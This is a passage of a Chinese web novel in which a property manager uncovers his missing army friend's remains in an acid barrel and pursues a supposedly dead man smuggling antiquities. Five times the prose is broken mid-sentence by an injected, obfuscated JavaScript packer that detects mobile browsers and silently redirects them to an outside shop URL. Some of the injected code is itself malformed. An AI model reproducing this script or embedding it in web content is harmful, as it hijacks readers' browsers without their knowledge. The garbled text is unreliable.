我一听，这小子脑瓜子在线啊，直接就能扣住主题，自营要的就是盈利，不盈利做它干嘛！ “行，你说说都有哪几个项目？”我鼓励他说。 “第一个是开设活动室，提供看书看报、打字复印、代购车/船/机票商务服务；第二个，如果能得到社区的同意，可以设立社区医疗门诊，弥补方圆几里都没有这项服务的空缺；第三个可以是合作类，比如和旅行社、广告商、物流配送等合作，提供相关的业务服务，我们增加收入来源。还有很多琐碎的，盈利时间慢，但是也可以可持续发展，比如家政、环保回收、培训班、接送孩子上下学。”蔡浩一口气说了很多。 我很激动，这小子有点内秀，确实不可貌相。 “那依你的意见，你觉得我们当下可以先搞哪个呢？”我把问题留给他。 “经理，这，我就是一个客服，我说的意见哪算数的，我的眼光不行。”他开始扭捏。 “我说你小子，挺大个人了，就不能敞亮点啊？有啥说啥，跟我不用摆那套职级地位的。我们在工作上可以平等交流，知道吗？”我鼓励他做真实的自己。 蔡浩听了我的话，明显激动起来，“经理，我觉得社区医院和活动室都可以搞起来。社区医院我们有业委会的有利条件，老魏和爱玲都是社区的人，他们可以加快这件事的进度，院子里很多老年人，有了社区医院不仅我们这里受益，旁边小区的也受益。活动室更是毫无成本就可以建，咱们这个物业办公场所这么大，最外面的大堂可以搞起来啊！” 蔡浩看看我，欲言又止，我假意瞪眼，示意他别掖着藏着。 于是他又说：“我有个发小，是搞电梯广告的，他们有那个合作名额 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158141|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，首次合作的返利挺高的，我想，能不能跟他们合作试试？” “好，就按你说的办！每一步到了审批环节再到我这里详细汇报。”我当即拍板。 蔡浩的激情更加澎湃，“得嘞！您就擎好吧！” 过了两天，我跟业委会的群里，老陈发了一条信息，“向荣，社区医院搞得好！” “向荣，我们早就想做这个事，一直苦于没有合适的园区，你们申请的正是时候。”牛爱玲也说。 “向荣啊，我全力支持你啊！这事将会是我们城中花园利在未来好几代的事情。”老魏表态。 毛芝云和鲁林安也都发来贺电。 我的心情大好，但是只一瞬，又担心起了王敬之，睡不着，起身穿衣服又回了办公室。 夜里的物业办公室很安静，我打开电脑，想再好好看看监控视频。 看着看着就困了，迷迷糊糊的，视频在我眼前直打晃。 “向荣，醒 醒。” “谁？谁喊我？”我听到有人叫我。 睁大眼睛看了看，“啊，哥，你回来了？你去哪了啊？让我好找！” 我看着坐在我对面的刘才东，他没怎么变，还是退伍时候的样子，穿着他那身军装，笑眯眯的看着我。 “我没走远，离你很近。你现在又黑又壮的，真结实。”刘才东说。 “嘿嘿，哥，我来b市就是投奔你的，你当初退伍的时候告诉我，家乡混不下去了就来找你，可是我来了，找不着你了，你到底在哪啊？”我问。 刘才东还是笑眯眯的说：“我离你很近，好好干，哥看好你！” 我打了个盹，揉揉眼睛，醒了，咳！竟然做了个梦，我这两天心思太重了，竟然做梦梦到刘才东。 可是梦里的话我还没忘，距离我很近？距离我很近是哪里呢？肯定不能是城中花园啊。 很近、很近，我在屋里开始转圈，转累了想起来电脑还开着，就又坐下来看视频。 屏幕上定格的画面惊住了我，那上面的人影，明明就是刘才东！ 第七十四章 HF 这一段我刚才迷糊睡着了，竟然没看到，我点开回放，视频里面的刘才东好像在跟谁争吵。 我把声音调到最大，但是还是听不清，仔细看了看对面争吵的人，只能看出对方很矮，辨不出什么。 这怕不是许德生吧？矮囤矬。 视频一帧一帧播放着，跟刘才东争吵的人竟然跟他动起手来，殴打的场面有2、3秒。 再后来就全都没有了，变成了沙沙的雪花，难道是人为破坏掉了？ 我又开始回放，想辨别一下这是在哪，看场景很像名都后院的小门那里，越看越像。 我又想起梦里刘才东和我说，距离我很近，是啊，名都是距离我最近的场所。 这段视频坚定了我认为刘才东是在名都失踪的观点，他的尸体莫不是也在赵明的尸体附近？ 可是当时警察做过大面积的排查，没发现异常啊！ 我不禁在心里祈祷师哥王敬之可以发现些蛛丝马迹。 第二天一早我拨通了林翔的电话，“老林，我发现一些事情，上午过去找你。” “好，我等你。” 我跟老林的友情已经到了这种不需要解释太多就能理解的程度，他的甲亢也在我一剂剂汤药的调理下基本恢复了正常。 到了刑警队，我把发现的视频、照片全都拿给老林看，坐在他对面等着他发表意见。 “向荣，看来许德生的嫌疑最大。但是现在没有直接证据，最关键的，冯楠到底是不是幕后黑手？刘才东发现了什么，跟许德生发生争吵？”老林发出了提问。 “老林，我心里的疑问和你一样，而且我还有一样，就是刘才东的尸体如果在赵明的附近，为什么你们那天没有发现？”我也表达。 “确实有点违背常理。”林翔说。 “你们现在能传讯许德生吗？”我问。 “现在传讯他无异于打草惊蛇，最多能质问他为什么没有如实提供监控。其余这些问题，你觉得他能给我们真相吗？而且幕后黑手有没有也无从知道。”林翔说。 “那怎么办？就这么僵着？”我着急了。 “向荣，你别急，我们警察也不是吃素的。现在知道了突破口在赵明身上，我们会去调查他的情况，争取再多发现一些证据，足以提审许德生的。”林翔表态。 “老林，还有一件事，你看看这个。”我打开那张许德生独自拍摄的照片，“你看看这像不像谢敏被害的现场。” 林翔仔细察看起来，“这不是像啊，这就是啊！” “为什么这么确定？”我问。 “因为这个跑步机，你看见没？谢敏家的跑步机都是定制的，上面有独属于她家的编号。”林翔一锤定音。 “这么说，他们两个的关系不一般啊。看许德生的表情，对面拍照的很有可能就是谢敏。”我说。 “向荣，你今天给我看的这些，结合我们全部侦查后的信息，我感觉距离真相越来越近了，可是该怎么揭开这层面纱呢？”林翔踌躇起来。 “老林，我有个推测，你看看有没有可能是这样。赵明好赌，跟许德生、也有可能是冯楠，借了高利贷，谢敏为了替他还钱，跟许德生起了冲突，很有可能在来名都那天挨了欺负。刘才东知道以后，替谢敏出头，找刘才东理论，结果两个人动手，刘才东被许德生失手打死。” “倒是有可能，但是这里有很多疑问，比如赵明为什么死了？钱应该是给到了。老谢家为什么被灭门？”林翔说。 我也陷入思考，确实还有很多问题没有答案。 “这样吧，你先回去，我今天去调查一下冯楠他们兄弟五个的事情，有了线索我们再联系。” 从刑警队出来以后，我没有直接回城中花园，而是先去了名都后院，去了那片垃圾场。 我依旧是捡了一个废弃墩布的杆子，一边走一边查看，刘才东说距离很近，很近。 根据记忆，我来到发现赵明尸体的那片区域，现场还有警察进行搜查留下的痕迹，其余的泔水桶还都摆在原位。 一眼望去，除了垃圾就是桶，没有任何异常，到底在哪里呢？ 咦？怎么有只桶不是铁桶？而是塑料的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158142|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。我慢慢的走过去。 那只桶很沉，盖着盖子，我看桶上面有个骷髅的标记，这是腐蚀性液体。 桶的盖子没有盖严，刺鼻的刺激性味道传过来，我没敢动手开盖子，不知道是什么，不能轻举妄动。 我围着桶仔细查看，那个骷髅标记下面有英文字母，hf，氢氟酸？ 难道？我被自己的猜测吓了一大跳，站在那里稳稳心神，越想越有可能。 怎么办？给林翔打电话吧，万一真的被我猜中了呢？一边想我一边四下打量着。 不远处隆起的一堆垃圾里面若隐若现的有几处类似花纹的东西，我走过去看，用墩布杆子扒拉开上面的垃圾，那个东西露出来以后，啊！ 这不是谢敏家的窗帘吗？上面还有很多暗红色的污渍。 “喂，老林吗？我有发现，你来一下名都后院垃圾场。” 林翔赶到的时候，紧张的看了看我，“你是说怀疑氢氟酸溶液里有刘才东的dn a？” “我的预感很强烈，如果有的话，能提取到吗？”我问。 “这个要问技术人员了，那个窗帘在哪里？”林翔问我。 我带他来到发现窗帘的地方，林翔指挥警察进行提取，然后跟我来到塑料大桶前。 “这确实是氢氟酸，属于危险化学品，看来背后绝不只是某一两个人的问题。”林翔一边说一边跟身边的警察耳语了一些事情。 警察听完惊讶的看看林翔，老林很坚定的说：“照办吧，破案需要，没有更好。” 一切都清理完毕之后，我跟林翔告辞，疲惫的回到城中花园。 “领导，你可回来了，敬之让你给回电话，快回吧，刚挂下五分钟。”江怀洲说。 师哥？一定是有事了。 “喂，指示。什么？对，我去了，已经带回去检验了。什么？丁有生？哦、哦哦。” 结束了跟王敬之的通话以后，一个头有两个大，王敬之说让我查查丁有生。 我怎么查呢？我又不是警察，难道说丁有生有什么问题？ 第七十五章 神秘的租客 王敬之交给我的任务太难了，我又不是警察，让我去调查人那可真是开玩笑。 不对，师哥明明知道这个问题还让我去调查，想必是让我去找林翔？ 正好把从江怀洲那里听来的道听途说跟林翔八卦一下。 于是我给林翔打了电话，“老林，又有事了。” “说吧，我一看电话显示是你的号码，我就知道肯定有事。”林翔一点也不意外。 “我这里有个八卦故事，你先听听。”我把江怀洲八卦的冯晶晶的身世跟林翔说了一遍。 “你说的这个事情并不是空穴来风，据我们最近的调查，冯晶晶的母亲王玫跟丁有生从小就认识，他们一起读到高中才分开。”林翔说。 “知道丁有生现在在做什么吗？”我想着还得完成师哥的任务。 “丁有生16年前被家属报了失踪，现在已经宣告死亡了。”林翔回。 “什么？死了？” “对！所以我们也是一无所获。”林翔很懊恼。 “你怎么今天想起跟我说丁有生的事情了？”林翔问。 “哎，这个结果让我震惊。没什么，就是忽然想到还有这么一件事没和你说，赶紧打电话告诉你。老林，我感觉不是很舒服，你查这个案子一定要注意安全。”我嘱咐。 电话里的林翔听到我忽然的柔软，停顿了一会儿，然后说：“你可别，你这样说话我还真不适应。没事儿我忙去了，不在这磨牙了。” 结束了和林翔的通话，我愈发蒙登，王敬之是不是已经知道丁有生不在了？ 弄这么一个瓜出来，让我脑袋想的跟浆糊一样。 这时候，江怀洲急急忙忙的敲门进来，“老江，咋回事儿，这么不沉稳呢？” 我介意他没等我说请进，就进来了。 “领导，园区中心八号楼那个顶楼有事情，还挺蹊跷，你跟我去看看。” “怎么个蹊跷？能让你这么不淡定。”我很好奇，江怀洲从来没这么紧张过。 “那家业户楼下的薛大妈找我好几回了，投诉楼上总是大半夜叮叮咣咣的，扰民，问我物业管不管。我说当然管啊，跟她去过几次，经常是没人。昨天我又去了，终于有人出来开门，是个老头，那眼神儿老凌厉了，听我说完情况，也没说啥，打着哈哈说知道了，就把我打发走了。” “你做的没毛病啊，怎么了呢？”我继续问。 “是没毛病，可是今早上我发现他们往车里搬东西，看着像文物”江怀洲说。 “什么？文物？你确定吗？几点钟？”我意识到了严重性。 “今天早上五点过一点吧，我想去跑跑步，结果就看见那老头了，穿着一身黑衣服，跟个忍者似的，我有点好奇，就偷偷的盯着，看到他指挥两个人往他车里搬东西，一个劲说轻点、轻点，其中一个用红布裹着，露个边，我看着像香炉的脚。” “老江，这可不能瞎说，现在的工艺品做的，外行人看着根本就看不出是做的，你这个能说明是文物？”我安下心来，心想这江怀洲保安当久了，神经过敏。 “不是啊，领导，薛大妈说他们都是凌晨搬来搬去的，就算是工艺品，为什么一定要凌晨搬？而且那老头指挥的一个人，我认识，是柱子。有柱子在，肯定没好事儿！” 其实我也有职业敏感，想了想，留心总比不当回事要好，“好，我和你去看看。” 江怀洲一边和我往外走，一边说：“领导，那个老头，我总觉得在哪见过呢，一时想不起来了，他的样子我真的见过。” “你认识？” “我不知道，但是我一定见过那张脸。”江怀洲还是执着的想着到底是谁。 我们来到八号楼楼下，我看看时间接近中午，“老江，人能在家吗？” “他们今早上不到六点就开车走了，能不能在家我不确定。” “对了，柱子和名都那几个保安，是在城中花园租的房子，他在这搬东西也算正常。”我忽然想到这一点。 “领导，走吧，您都到这了，权当你给处理处理扰民的投诉，好不啦？”江怀洲很执着。 我看看他，觉得很无奈，“你看你，急什么急，我也没说我不去，走，上楼。” 有问题的租客住在六楼顶，到了门口，我开始敲门，足足能敲了三分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158143|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟吧，里面传来不紧不慢的脚步声。 门打开的一瞬间，我的心脏狂跳起来，这不就是照片里的丁有生吗？ “您好，我是物业经理吕向荣，抱歉打扰了，有件事情想和您沟通一下。”我极力掩饰着自己的激动。 “物业经理？房主欠物业费了？我通知他交。”酷似丁有生的人，说话的嗓音很苍老，但是说话语速很快。 “不是的，是其他的事。”我看他堵着门没有让我进去的样子，只好在门口解决问题。 “楼下邻居反应了很多次，说你们总是在凌晨夜静更深的时候搬东西，搞很大动静。业主，咱们这个属于扰民，得注意啊！”我一直盯着他的眼睛说。 老头子翻翻白眼，明显的不屑，“你们物业什么都管，这也不是什么24小时管家物业，至于嘛！” 我一 看他明显是自私、不讲道理的，屋里我也进不去，没办法发现是不是有文物，只好说：“希望您能多加注意，一旦产生纠纷，都是邻里邻居住着，是不也不好？” 老头子不再说话，直接关上了门。 出来以后，我赶紧往物业办公室跑，“领导，怎么啦？你跑什么，等等我！” 江怀洲一路小跑跟我回来，看见我正让蔡浩看业主档案。 “八号楼六楼的业主是长租客，登记的名字叫吴岩。”蔡浩说。 “吴岩？怎么是吴岩。”我在心里嘀咕，难道不是丁有生？不能啊，那眉眼、那身材，简直就是照片里的复刻。 我回到自己的位置，打开电脑里那张合影，开始了相面，没注意江怀洲走到我后面。 “对！丁有生，我说呢，我在哪见过。”江怀洲突然一咋呼，吓了我一跳。 “老江，沉稳，沉稳！”我不耐烦的提醒他。 “领导，你是不是看见他第一眼就知道他是丁有生了？我说呢，你后来的一切行为都怪怪的。是丁有生也正常啊，你为什么这么惊奇？”江怀洲问我。 “丁有生，已经被家属报失踪十几年、现在已经宣告死亡了。”我没有隐瞒。 “啊？”江怀洲也惊讶的张大了嘴。 第七十六章 悲痛 我终于明白了为什么王敬之让我调查丁有生，他一定是在名都发现了什么，是跟丁有生有关的。 如果这个人真的是丁有生，他失踪的这些年干什么去了？为什么不联系家属，而是任她们给他报了失踪、并宣布死亡？ 他在这出现，是跟搬的东西有关，弄清楚搬的是什么，就能猜到他的目的，好，就这么办。 我当下打定主意，准备采用蹲守的方式，弄明白他搬的是什么。 当天晚上我就去八号楼隐蔽位置蹲了坑，大约凌晨1、2点左右，从远处的停车场骑过来一辆倒骑驴。 骑车的人离远一看就跟二师兄一样，我知道一定是柱子。 倒骑驴到了八号楼丁有生住的单元楼下停住了，柱子吭哧吭哧的上楼，能有个二十来分钟左右，有两个人的脚步声传来。 声音在这寂静的夜里显得挺突兀的，怪不得楼上大妈能听到。 丁有生穿着那身忍者服，跟柱子一起抬个东西下来，也许是觉得天黑，想尽快拉走的原因，那个东西捂得并不严实。 我仔细一看，确实像香炉，有脚，看柱子吃力的感觉，分量不轻，如果是工艺品的话，确实没必要这个时候，而且有如此的分量。 “今天是最后一个了，装车一定要小心！回去跟德生说，把房子给我退了，这里现在不安静，我回名都住。” 丁有生说完，柱子点点头，慢悠悠的骑着倒骑驴离开了，丁有生四下看了看，转身上了楼。 具体是什么呢？我得跟上。 柱子骑得慢，许是东西有分量，所以我能不费力的偷偷跟着，看到他骑到一个箱货的旁边，费了好大力把那个香炉弄上了箱货后面，然后开车直奔园区门口。 我早已经跟江怀洲打好招呼，务必把监控给我看准喽，每个角度都不能差，我还将车牌号记了下来。 回到驻地，我越想越不对劲，这兄弟几个和死去的几个人，还有宣告死亡却一直健在、改名换姓的丁有生，到底是什么样的关系呢？ 只有找到更多的信息、了解他们，才能有答案。 第二天，我开始在本子上涂涂画画，把我知道的信息全都写在本子上，自己开始琢磨。 五个人是因为开发房地产而走到一起的，江怀洲说他们一起开发的有好几处，不只有荟萃亭，难不成秘密就在每一处楼盘里？ 我开始上网查询，又把江怀洲叫过来，让他把知道的楼盘名字告诉我。 整理完之后，包括荟萃亭在内一共有七处，五个在售中，两个因为缺少手续成了烂尾。 我把这些楼盘的详细地址用地图的形式画了出来，越看越觉得似曾相识。 具体是什么呢？为什么要选在这些地方呢？尤其荟萃亭，原址就是个垃圾场啊。 奇怪，这每一处楼盘都是距离市中心较远，周围没有洼地、公路、十字路口的，从自然环境、地形地貌等方面看，那都是避风聚气的好位置。 但是大部分的位置都不适合居住啊，是他们不想卖房盈利？ “领导，你就别看了，他们几个人开发的楼盘，除了荟萃亭卖出去几栋，其余都赔钱。只有那个廖文彬自己开发的两个楼盘卖得好，但是人家那是自己的呀，没合伙之前人家就是开发商。”江怀洲说。 “哦？你是说，其余几个人之前不是搞地产的？”我问。 “他们都是包工头出身，老大郑杰、老二丁有生还有谢敏她爸，都是农村出来的，干瓦工、水暖那套活的，后来郑杰开始搞建材，丁有生和谢敏她爸继续干包工头。冯楠和杜国瑞以前是干啥的我不知道，反正肯定不是开发商，只有廖文彬是开发商。” 老谢家灭门一定跟他们有某种联系，可是我想不到是什么。 手机响起打断了我的思绪，是林翔。 “向荣，在名都后院带走的东西，窗帘上的暗红色污渍是人血，那个桶里确实有人体dna，至于是不是刘才东的，还需要进一步验证。另外我们还发现了一个东西，我发了一个照片给你，你看看你是不是认识。” 挂断电话，我打开林翔发过来的图片，刚看了一眼，我整个人就颓丧下来，巨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158144|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的悲痛从心底涌上来。 “领导，你怎么啦？怎么还，哭了？”江怀洲问。 照片里是一枚主席像章，刘才东有收集主席像章的爱好，这东西是刘才东的。 我动不了，没想到他们用这么残忍的方式毁了刘才东，罪大恶极！我一定要替刘才东讨回公道！ 我一拳砸在桌子上，砰的一声，外间的蔡浩听见声音赶紧跑过来诧异的看着我。 他们一定不理解我的表现，战友间的情义不是一句两句能说清楚的。 接下来的几天，我的话很少，也不是很想吃东西，没有工作的时候，我就翻看五兄弟的资料，还有各种关于他们开发楼盘的信息。 有时候也会翻看我姥爷留给我的书，我想将自己沉浸在书里，这样可以控制住自己喷薄而出的愤怒。 很意外的，王敬之回来了。 “师哥？你回来了！太好了！”我冲过去给了王敬之一个拥抱。 王敬之刚想怼我，但是感受到 了我的异常，“什么情况？吕向荣，我才走几天，你就被打趴下了？” 我松开王敬之，心里的悲伤还是没有好，回到座位坐下，默默的看着王敬之说：“东哥找到了，在泔水桶里，尸体已经化没了。” 王敬之愣住了，半天也是没说话，但是我看得出他眼睛里有跟我一样的怒火。 “吕向荣，名都的法人代表登记的不是冯楠，是吴岩，我见过照片，怀疑他就是丁有生，那个许德生也并不是听冯楠的，是听这个吴岩的。”王敬之说。 看来他也掌握了不少情报，没白卧底。 “我见着吴岩了，他就住院里八号楼，而且，他们这两天鬼鬼祟祟的不知道在搬什么工艺品。”我回。 “啥工艺品能这么精心的避人耳目呀？我也看到了柱子这两天神出鬼没的，开个箱货，回来之前我偷偷的潜进箱货看了一眼，是几个香炉，很重，黑色的。” “师哥，你是不是也怀疑他们” 我和王敬之不约而同的对视了一眼，点点头。 第七十七章 失踪的地方 “师哥，你去卧底这么长时间除了发现丁有生，还有发现什么可疑情况吗？”我问。 “其实一开始引起我怀疑的是冯楠，我发现他对晶晶癔症这件事很淡漠，不像那种独生女、掌上明珠该有的着急。我去看晶晶那天，他竟然出门去了，很长时间都没回来，晚上我要走的时候，才看见他的车从外面进来。再结合晶晶跟我说的名都发现的事情，我觉得答案就在名都，所以直接就过去应聘了。”王敬之说。 我也明白了为什么我给冯楠打电话问王敬之去向的时候，他为什么那么支吾了，原来是人不在家。 “师哥，据说冯六日不是冯楠的亲闺女，六日的亲爸是丁有生。”我看向王敬之。 “晶晶说她上小学以前，一直跟她妈妈一起生活，从来没见过她爸。上小学以后，冯楠来接她和她妈离开了原来的老房子，她妈让她管冯楠叫爸。”王敬之说。 “唔，这么说丁有生是冯六日亲爸的传言八成是真的。”我默默点头。 “向荣，我这次回来是要你跟我去一个地方，估计得走个十天半拉月，你跟林皓请个假。”王敬之忽然说。 我错愕的抬起头，“去哪啊？要去那么久。我这边正弄那个社区医院呢，赚点钱，年底集团嘉奖呢！” “你看你，总在钱眼儿里混，你不想给刘才东报仇吗？跟我走就是了。”王敬之批评我。 “我当然想报仇，我想不通有什么深仇大恨要对一个人下这么狠的手！”王敬之的一席话又将我的愤怒挑动了起来。 “他们不是一个人，是一个团伙。”王敬之说。 “好吧，不光是为了刘才东，我也不放心你自己去跟他们干，我得陪着你，咱俩的命运从小时候就被绑在一起了，我可不想看到你有辱师门。”我义正言辞。 王敬之听着前边还挺感动，听到后边鼻子快气歪了，冲过来要打我。 我故意躲着，说：“哎，师哥，你可注意，把我打坏了，没人陪你去了。” “你给我等着吕向荣，跟你师哥说话总是没大没小，看你忧伤难忍的，我这回放过你，如果再有下一次，决不轻饶！”王敬之生气的说。 蔡浩看着我又有了笑模样，也嘿嘿的笑了。 我跟林皓请了十天假，入职三年，一天没休息过，突然说要请这么多天假，林皓还有点懵。 “向荣，遇到啥事啦？跟哥说，需要钱哥给你转账，可不要自己扛着！”林哥在电话里着急的嘱咐。 我心里涌起一股暖流，“林哥，你放心，等我处理完事情就尽快赶回来，我那社区医院你可一定要帮我盯着，蔡浩毕竟是新人，有些事情他摆不平。” “好，你放心办你的事去吧，我肯定帮你把这事儿搞定。”林皓给我吃了颗定心丸。 好久没有这么悠闲的坐着火车出门了，这几年一直周转于各个小区，身心全都奉献给了工作，根本没有自己的生活。 我的心情难得这么放松，看着火车车窗外的景致，悠闲到了极点。 “师哥，你说这小绿皮，真的很好哈，感觉像是回到小时候了呢！啥时候你也跟我去姥爷家那片儿看看，咱俩也涤荡一下心灵，返璞回归小时候。”我很开心的和王敬之说。 王敬之闭着眼睛没有搭理我，好像是睡着了。 我看看他，又继续说：“师哥，你能不能敞亮一点，现在告诉我我们到底要去哪、去干什么？你这整的啥也不和我说，好像要把我卖了。” “你可拉倒吧，谁能买？你那么大个儿，得浪费多少粮食！”王敬之依旧闭着眼睛。 “哎！师哥，可不带这样挤兑人的啊，好歹我也叫你一声哥呢，你咋这样说我。”我假装不乐意。 “你别吵吵了，让我歇一会儿，该说的时候自然就告诉你了。”王敬之不耐烦的说。 我翻翻白眼，看着他闭目养神的样子，我也呵欠连天的，觉得困意上涌。 迷迷糊糊的好像是睡着了，出现一个场景，是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158145|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小时候在姥爷家，姥爷教我用药。 “向荣，你说说安神的药材都有哪些啊？” “有朱砂、酸枣仁、首乌藤、藏红花、合欢皮、百合、柏子仁、远志、茯苓、人参。” 姥爷轻轻的点头，“那你再说说，哪些是重镇安神、哪些是养心安神？” 我想了一会儿说：“朱砂、磁石、龙骨、琥珀是重镇安神，酸枣仁、柏子仁、灵芝、首乌藤、合欢皮是养心安神。” “很好，最后一个问题，这两类安神的药各有什么特点啊？” 我能感觉到自己在梦里依旧信心满满的回答：“重镇安神类的药物大多都是矿石、化石、介类，有质重沉降的特点，重则能镇怯，故有重镇安神、镇惊安神、平肝潜阳的作用。所以朱砂等药物都可以治疗心火亢盛、痰火互结、热扰心神，或肝气郁结化火扰心以及惊吓所导致的心悸失眠、多梦不安等实证。养心安神类的药物都是植物种子，性味偏于甘平，质地较润。所以酸枣仁等药物都可以治疗阴血、心脾之气两虚，心失所养之不寐，虚烦，体倦乏力，健忘，多梦等虚证。” 我看着姥爷笑眯眯的望着我，赞许又疼爱的摸着我的头 ，唿的一下就醒了。 赫然发现林翔正坐在我对面，看着我笑。 什么情况呀？怎么还遇到林翔了？难道是在做梦？ 我偷偷的掐了一下自己的大腿，疼！“老林，你咋也来了？” “也来了？吕向荣，你别告诉我你也要去x县！”林翔瞪大眼睛看着我。 我怯怯的看了看王敬之，王敬之早就醒了，这时候正悠闲的喝着水，也不看我，也不说话。 我想着，怎么也不能把自己师哥出卖了吧，“不是，哦，那什么x县？你去x县查案啊？咋自己一个人呢？我不是和你说了要注意安全。”我转移话题。 “林警官，我们确实是去x县，吕向荣不知道，我还没告诉他。怎么？愿意同行吗？”王敬之不紧不慢的说。 第七十八章 合作 林翔看看王敬之，又瞅瞅我，说：“你们两个啊，真的是躲不过了，说说吧，你们怎么发现的x县有疑点？” 我也在云雾里，也看着王敬之，等着他给解惑。 王敬之放下水杯说：“丁有生是在x县失踪的，当时他和郑杰、谢志强一起干分包的业务，失踪的原因据说是塌方，没找着人也没找着尸体，所以，去源头看看才知道他当时为什么要报失踪。” 林翔看看王敬之，说：“我以为一个吕向荣就挺难搞了，现在又添一个。好吧，既然都赶上了，那就一起吧，我们的目的都是一样的，互相帮助！” 我才搞清楚王敬之的目的，原来是要去丁有生失踪的地方。 “这几个人我目前都见过了，除了郑杰，老林，郑杰不会不健在了吧？”我问。 “郑杰健在，但是隐居了，不见客，名下的业务都是他的儿子在打理。”林翔说。 “郑杰今年应该挺大年纪了，隐居倒也正常。”我说。 “不是，据说他是得了一种怪病，只能在暗室里呆着，只要出来，就会惊厥。我们去过一次，找他了解情况，他不能见光，眉毛和皮肤都白的吓人。”林翔说。 “啊？是不是白化病？”我问。 “我也问了同样的问题，但是他说不是，说是走了各大医院也没给看好，只能是维持。”林翔回 “人在做、天在看，自己做了恶，能不遭报应么！”王敬之突然接了一句。 我用胳膊碰了碰王敬之，“师哥，老林是警察，不兴这个。” 林翔瞅瞅我，笑了，“吕向荣，警察确实不搞封建迷信，但是警察也相信正义必定战胜邪恶。” “嘿嘿，一个意思、一个意思。”我打着哈哈，心里想着，这两边都得给围拢好了。 “向荣，刘才东的事情，挺遗憾的，我也很难过。但是现在还是不能完全撇开他的嫌疑，因为他账户里进的50万还没搞清楚来路。”林翔跟我说。 一句话就挑起了我的怒火，但是我克制住了，我明白林翔说的对，法律是看证据的，一天没有洗白，就一天存在嫌疑。 林翔看我闷哧闷哧不说话，知道我心里有气，安慰我说：“以我对你的了解，你相信的人，我也愿意相信，我这回也是想把刘才东的冤屈给洗白了。” 我抬头看着林翔，那一刻，“林翔能处”这几个字再次浮上心头，我咧开嘴笑了。 “你看，笑了吧，我哪敢得罪你，你还得给我开药、治病。”林翔故意逗我。 “吕向荣，你可真行，咋不一次性给帽子叔叔治好呢，还让人家溜须你。”王敬之故意溜缝。 “哎，我说师哥，话可不能乱说呀，你问问老林，哪一次不是药量足足的，我哪敢骗帽子叔叔啊！”我也跟着王敬之一样的语气看着林翔。 林翔瞅瞅我俩，“得，你俩是一伙的，我可不跟你们频，频不过。” 他说完这句话，我们三个都笑了。 我忽然想起来，“师哥，你说我们要去x县对吗？那里一定有问题呀！” 王敬之和林翔一起看向我，“有什么问题？” 我拿出我写信息的本本，打开我画的地图，“你们看，x县是他们搞开发的其中之一，这个地理位置，从地形特征、水源和土壤条件、气候上看，那可都是容易出古遗址的地方。” 王敬之秒懂，陷入了沉思，林翔还是很迷惑，“古遗址，什么意思？” 于是我把看到丁有生和柱子搬香炉的事情告诉了林翔，“什么？还有这事儿？” “对，因为我们都不确定那是什么，所以，没有告诉你。”我说。 “但其实，你和敬之，你们心里已经有个七七八八了，对吧？”林翔问。 “老林，我们这次去就是找证据，证实推论。大胆的推论是可以给破案助力的对吗？”我微笑着看着林翔说，林翔用手点点我，也笑了。 “我们这次去一定能找到谜底吗？”我问。 “不知道，但是我知道我们必须去。而且我还要去访一访晶晶的舅舅，他为什么跟我长的那么像！”王敬之接茬。 